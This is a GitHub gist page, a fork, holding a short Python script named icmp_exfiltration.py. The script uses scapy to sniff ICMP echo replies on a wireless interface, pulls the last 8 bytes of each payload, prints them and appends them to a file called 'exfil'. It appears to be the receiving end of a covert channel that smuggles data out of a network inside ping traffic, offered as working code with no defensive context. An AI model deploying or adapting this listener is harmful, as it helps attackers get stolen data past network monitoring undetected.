Skip to content

Instantly share code, notes, and snippets.

@Unleashedmen
Forked from maxrodrigo/icmp_exfiltration.py
Created February 15, 2022 23:43
Show Gist options
  • Select an option

  • Save Unleashedmen/568349f4e14c1e3c27e68c9b099cd02a to your computer and use it in GitHub Desktop.

Select an option

Save Unleashedmen/568349f4e14c1e3c27e68c9b099cd02a to your computer and use it in GitHub Desktop.

Revisions

  1. @maxrodrigo maxrodrigo created this gist Oct 7, 2020.
    20 changes: 20 additions & 0 deletions icmp_exfiltration.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    from scapy.all import sniff, ICMP


    def process_packet(packet):
    if packet.haslayer(ICMP) and packet[ICMP].type == 0:
    data = packet[ICMP].load[-8:]
    try:
    print(f"{data.decode('utf-8')}", end="")
    except UnicodeDecodeError:
    pass

    with open("./exfil", "a+b") as f:
    f.write(data)


    if __name__ == "__main__":
    sniff(iface="wlp3s0", prn=process_packet)